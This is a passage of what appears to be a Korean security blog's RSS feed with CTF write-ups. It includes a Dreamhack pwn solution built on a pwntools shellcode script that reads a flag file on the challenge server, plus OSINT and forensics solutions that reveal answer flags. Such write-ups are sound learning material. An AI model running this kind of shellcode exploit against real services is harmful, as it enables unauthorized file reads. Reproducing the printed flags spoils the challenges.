height=&quot;377&quot; data-origin-width=&quot;471&quot; data-origin-height=&quot;377&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 다음 시간을 설정해야하는데 아래와 같이 우리나라시간인 UTC+9로 선택해준다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;331&quot; data-origin-height=&quot;204&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c646IB/btrXrUISlLZ/hIWTZaktUotjISeSPnMBsK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c646IB/btrXrUISlLZ/hIWTZaktUotjISeSPnMBsK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c646IB/btrXrUISlLZ/hIWTZaktUotjISeSPnMBsK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc646IB%2FbtrXrUISlLZ%2FhIWTZaktUotjISeSPnMBsK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;331&quot; height=&quot;204&quot; data-origin-width=&quot;331&quot; data-origin-height=&quot;204&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 후 이제 Directory tree 부분에 file 있는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 따라 내려가면 User의 desktop에 flag.txt와 함께 flag를 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;778&quot; data-origin-height=&quot;680&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cxNAlD/btrXqrz5q78/KF4dxmocNdR469sRA4RVDK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cxNAlD/btrXqrz5q78/KF4dxmocNdR469sRA4RVDK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cxNAlD/btrXqrz5q78/KF4dxmocNdR469sRA4RVDK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcxNAlD%2FbtrXqrz5q78%2FKF4dxmocNdR469sRA4RVDK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;690&quot; height=&quot;603&quot; data-origin-width=&quot;778&quot; data-origin-height=&quot;680&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>워게임</category>
      <author>HackHiJack</author>
      <guid isPermaLink="true">https://hackhijack64.tistory.com/94</guid>
      <comments>https://hackhijack64.tistory.com/94#entry94comment</comments>
      <pubDate>Mon, 30 Jan 2023 11:30:24 +0900</pubDate>
    </item>
    <item>
      <title>[Dreamhack] - shell_basic(WRITEUP)</title>
      <link>https://hackhijack64.tistory.com/93</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;오늘은 dreamhack pwn 로드맵의 첫 문제인 shell_basic을 풀어 볼 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;dreamhack 로드맵 강의에서는 어셈블리 파일을 직접 만들어서 쉘코드에 대해서 배우는데 이 방법은 너무 귀찮기 때문에 pwntool의 shellcraft를 이용해 볼 것이다. shellcraft는 잘 사용하지 않기 때문에 아래의 글을 참고하여 풀었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://m.blog.naver.com/songblue61/221308705090&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://m.blog.naver.com/songblue61/221308705090&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼 본격적으로 풀이를 시작해 보겠다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저 문제 설명을 확인해 보면 플래그의 파일 이름을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;875&quot; data-origin-height=&quot;213&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/tbrfE/btrWYMjRRxY/Cpz90PpoQmA1hkGSfqaNM1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/tbrfE/btrWYMjRRxY/Cpz90PpoQmA1hkGSfqaNM1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/tbrfE/btrWYMjRRxY/Cpz90PpoQmA1hkGSfqaNM1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FtbrfE%2FbtrWYMjRRxY%2FCpz90PpoQmA1hkGSfqaNM1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;753&quot; height=&quot;183&quot; data-origin-width=&quot;875&quot; data-origin-height=&quot;213&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 문제에서 주어진 서버로 접속을 해보면 아래와 같이 shellcode를 입력하는 란이 주어진다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1092&quot; data-origin-height=&quot;100&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c5WO7a/btrWRWVOad6/kxecPCGmKZzZS72PpHy3nk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c5WO7a/btrWRWVOad6/kxecPCGmKZzZS72PpHy3nk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c5WO7a/btrWRWVOad6/kxecPCGmKZzZS72PpHy3nk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc5WO7a%2FbtrWRWVOad6%2FkxecPCGmKZzZS72PpHy3nk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;599&quot; height=&quot;55&quot; data-origin-width=&quot;1092&quot; data-origin-height=&quot;100&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 exploit 시나리오를 대충 짜 볼 수 있다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. &quot;shellcode: &quot;까지 문자열을 받는다.&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. shellcraft를 이용하여 shellcode를 생성한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. sendline으로 shellcode를 전송한뒤 interactive를 한다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위를 기반으로 아래와 같이 python코드를 작성하였다.&lt;/p&gt;
&lt;pre id=&quot;code_1674528020896&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from pwn import *

r = remote(&quot;host3.dreamhack.games&quot;,12101)

context.update(arch='amd64', os='linux')

flag_str = &quot;/home/shell_basic/flag_name_is_loooooong&quot;
ex = ''
ex += shellcraft.pushstr(flag_str)
ex += shellcraft.open(flag_str,0,None)
ex += shellcraft.read('rax','rsp',100)
ex += shellcraft.write(1,'rsp',100)
ex += shellcraft.exit()

r.recvuntil(&quot;e: &quot;)

r.sendline(asm(ex))

r.interactive()&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;shellcraft의 open을 이용하여 파일을 열고 파일의 값을 read로 읽은 뒤 write로 출력한다.(파일 크기는 대충 어림잡아서 100byte로 함)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 작성 한 다음 실행하면 플래그를 획득할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;694&quot; data-origin-height=&quot;223&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/B5qAi/btrWRXmU0Mt/1TgKz6tLXJPRgQ0olW8Or0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/B5qAi/btrWRXmU0Mt/1TgKz6tLXJPRgQ0olW8Or0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/B5qAi/btrWRXmU0Mt/1TgKz6tLXJPRgQ0olW8Or0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FB5qAi%2FbtrWRXmU0Mt%2F1TgKz6tLXJPRgQ0olW8Or0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;663&quot; height=&quot;213&quot; data-origin-width=&quot;694&quot; data-origin-height=&quot;223&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>pwn</category>
      <author>HackHiJack</author>
      <guid isPermaLink="true">https://hackhijack64.tistory.com/93</guid>
      <comments>https://hackhijack64.tistory.com/93#entry93comment</comments>
      <pubDate>Tue, 24 Jan 2023 11:44:23 +0900</pubDate>
    </item>
    <item>
      <title>Digital Overdose 2022 Autumn CTF WRITEUP(HHJ) - Maya went on a trip!</title>
      <link>https://hackhijack64.tistory.com/92</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;오늘은 Digital Overdose 2022 Autumn CTF 의&amp;nbsp; maya went on a trip! 카테고리의 문제 풀이를 해볼 것이다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;150&quot; data-origin-height=&quot;150&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/BEa6X/btrRK2l0FkF/9I5Kg0k4yQB031QHL5Gji1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/BEa6X/btrRK2l0FkF/9I5Kg0k4yQB031QHL5Gji1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/BEa6X/btrRK2l0FkF/9I5Kg0k4yQB031QHL5Gji1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FBEa6X%2FbtrRK2l0FkF%2F9I5Kg0k4yQB031QHL5Gji1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;150&quot; height=&quot;150&quot; data-origin-width=&quot;150&quot; data-origin-height=&quot;150&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Category Name : Maya went on a trip!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #409d00;&quot;&gt;&lt;b&gt;1. Seaside&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제의 의도는 사진 파일이 있는 곳에서 제일 가까운 기차 역을 찾는 것이다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2112&quot; data-origin-height=&quot;562&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bgeW8m/btrROJdWwhs/3pxuo9COhfLYtyVvjuV9vK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bgeW8m/btrROJdWwhs/3pxuo9COhfLYtyVvjuV9vK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bgeW8m/btrROJdWwhs/3pxuo9COhfLYtyVvjuV9vK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbgeW8m%2FbtrROJdWwhs%2F3pxuo9COhfLYtyVvjuV9vK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2112&quot; height=&quot;562&quot; data-origin-width=&quot;2112&quot; data-origin-height=&quot;562&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저 문제의 사진파일은 아래와 같다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2880&quot; data-origin-height=&quot;1288&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qm1VB/btrRMUUUHiZ/kOpMFKOc3p44bwZ0vY7ZXK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qm1VB/btrRMUUUHiZ/kOpMFKOc3p44bwZ0vY7ZXK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qm1VB/btrRMUUUHiZ/kOpMFKOc3p44bwZ0vY7ZXK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fqm1VB%2FbtrRMUUUHiZ%2FkOpMFKOc3p44bwZ0vY7ZXK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2880&quot; height=&quot;1288&quot; data-origin-width=&quot;2880&quot; data-origin-height=&quot;1288&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 사진 왼쪽을 보면 건물에 &quot;DARAKHYU&quot;라고 적혀있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;darakhyu를 구글 지도에 찾아보면 전라남도 여수시에 있는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2670&quot; data-origin-height=&quot;1504&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bDZS8e/btrRKJ1cDIG/h172ZPYfRcHVT2DOXHxUb0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bDZS8e/btrRKJ1cDIG/h172ZPYfRcHVT2DOXHxUb0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bDZS8e/btrRKJ1cDIG/h172ZPYfRcHVT2DOXHxUb0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbDZS8e%2FbtrRKJ1cDIG%2Fh172ZPYfRcHVT2DOXHxUb0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2670&quot; height=&quot;1504&quot; data-origin-width=&quot;2670&quot; data-origin-height=&quot;1504&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 위치에서 기차역이라는 카테고리로 검색을 하면 다음과 같이 여수EXPO 역이 제일 가까운 역으로 나타난다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2254&quot; data-origin-height=&quot;1510&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b2kH3Q/btrRMVM5ls2/6NRUDC3PJEpowTe1bbTAk0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b2kH3Q/btrRMVM5ls2/6NRUDC3PJEpowTe1bbTAk0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b2kH3Q/btrRMVM5ls2/6NRUDC3PJEpowTe1bbTAk0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb2kH3Q%2FbtrRMVM5ls2%2F6NRUDC3PJEpowTe1bbTAk0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;799&quot; height=&quot;535&quot; data-origin-width=&quot;2254&quot; data-origin-height=&quot;1510&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서 flag는 &lt;b&gt;DOCTF{yeosu_expo}&lt;/b&gt;가 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #409d00;&quot;&gt;&lt;b&gt;2. SympoZzzium&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2번째 문제의 의도는 여수 주변에서 이벤트를 하는데 심심해서 wigle을 사용했다는 것이다. wigle에서 남긴 기록이 challenge-2.csv에 담겨있어서 이를 기반으로 wigle로 위치를 찾아서 flag를 찾으면 된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2128&quot; data-origin-height=&quot;648&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cYzqBH/btrRMWFfKNX/hbXiBXS0lpWJY6CEQ54fv0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cYzqBH/btrRMWFfKNX/hbXiBXS0lpWJY6CEQ54fv0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cYzqBH/btrRMWFfKNX/hbXiBXS0lpWJY6CEQ54fv0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcYzqBH%2FbtrRMWFfKNX%2FhbXiBXS0lpWJY6CEQ54fv0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2128&quot; height=&quot;648&quot; data-origin-width=&quot;2128&quot; data-origin-height=&quot;648&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저 문제파일을 살펴보자.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1802&quot; data-origin-height=&quot;1312&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/W8gMi/btrRHBJla8e/4oS2CxmQgRPk1mTtkYRLj0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/W8gMi/btrRHBJla8e/4oS2CxmQgRPk1mTtkYRLj0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/W8gMi/btrRHBJla8e/4oS2CxmQgRPk1mTtkYRLj0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FW8gMi%2FbtrRHBJla8e%2F4oS2CxmQgRPk1mTtkYRLj0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1802&quot; height=&quot;1312&quot; data-origin-width=&quot;1802&quot; data-origin-height=&quot;1312&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 항목들 중 U+zone의 ssid와 mac주소를 이용하여 wigle.net에서 위치를 찾아보았는데 전남대학교로 나오는 걸 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2130&quot; data-origin-height=&quot;1072&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b2LhPH/btrRNUUvQ7v/9I4BAnM05gjaDs3jzKFtDk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b2LhPH/btrRNUUvQ7v/9I4BAnM05gjaDs3jzKFtDk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b2LhPH/btrRNUUvQ7v/9I4BAnM05gjaDs3jzKFtDk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb2LhPH%2FbtrRNUUvQ7v%2F9I4BAnM05gjaDs3jzKFtDk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2130&quot; height=&quot;1072&quot; data-origin-width=&quot;2130&quot; data-origin-height=&quot;1072&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서 flag는 &lt;b&gt;DOCTF{chonnam_national_university}&lt;/b&gt;가 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #409d00;&quot;&gt;&lt;b&gt;3. Needle&amp;nbsp;in&amp;nbsp;a&amp;nbsp;train&amp;nbsp;stack&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3번 문제의 의도는 wigle 기록을 기반으로 기차의 종류와 번호를 찾으는 것이다.(힌트는 이 기차가 평일에만 운행하는 것이다)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2116&quot; data-origin-height=&quot;714&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dsFpqq/btrRNUUv75c/4l4Z9iUl7kWgrdWKKHatA0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dsFpqq/btrRNUUv75c/4l4Z9iUl7kWgrdWKKHatA0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dsFpqq/btrRNUUv75c/4l4Z9iUl7kWgrdWKKHatA0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdsFpqq%2FbtrRNUUv75c%2F4l4Z9iUl7kWgrdWKKHatA0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2116&quot; height=&quot;714&quot; data-origin-width=&quot;2116&quot; data-origin-height=&quot;714&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제파일에는 KTX wifi를 사용한 것으로 보아서 기차의 종류는 KTX인 것을 확인할 수 있고, wigle을 기록한 위도와 경도가 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1362&quot; data-origin-height=&quot;1460&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/btu82a/btrRNonYx2y/OzfsjRsP1YAWF6hsPXmAdk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/btu82a/btrRNonYx2y/OzfsjRsP1YAWF6hsPXmAdk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/btu82a/btrRNonYx2y/OzfsjRsP1YAWF6hsPXmAdk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbtu82a%2FbtrRNonYx2y%2FOzfsjRsP1YAWF6hsPXmAdk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;668&quot; height=&quot;716&quot; data-origin-width=&quot;1362&quot; data-origin-height=&quot;1460&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위도와 경도에 여러 값들이 있는데 구글지도에 검색을 해보면, 모두 전주역에 있다는 것을 알 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2614&quot; data-origin-height=&quot;1510&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cTSzPL/btrRK09Cam3/wHAHmUV0622q4zMSzOzI10/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cTSzPL/btrRK09Cam3/wHAHmUV0622q4zMSzOzI10/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cTSzPL/btrRK09Cam3/wHAHmUV0622q4zMSzOzI10/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcTSzPL%2FbtrRK09Cam3%2FwHAHmUV0622q4zMSzOzI10%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; 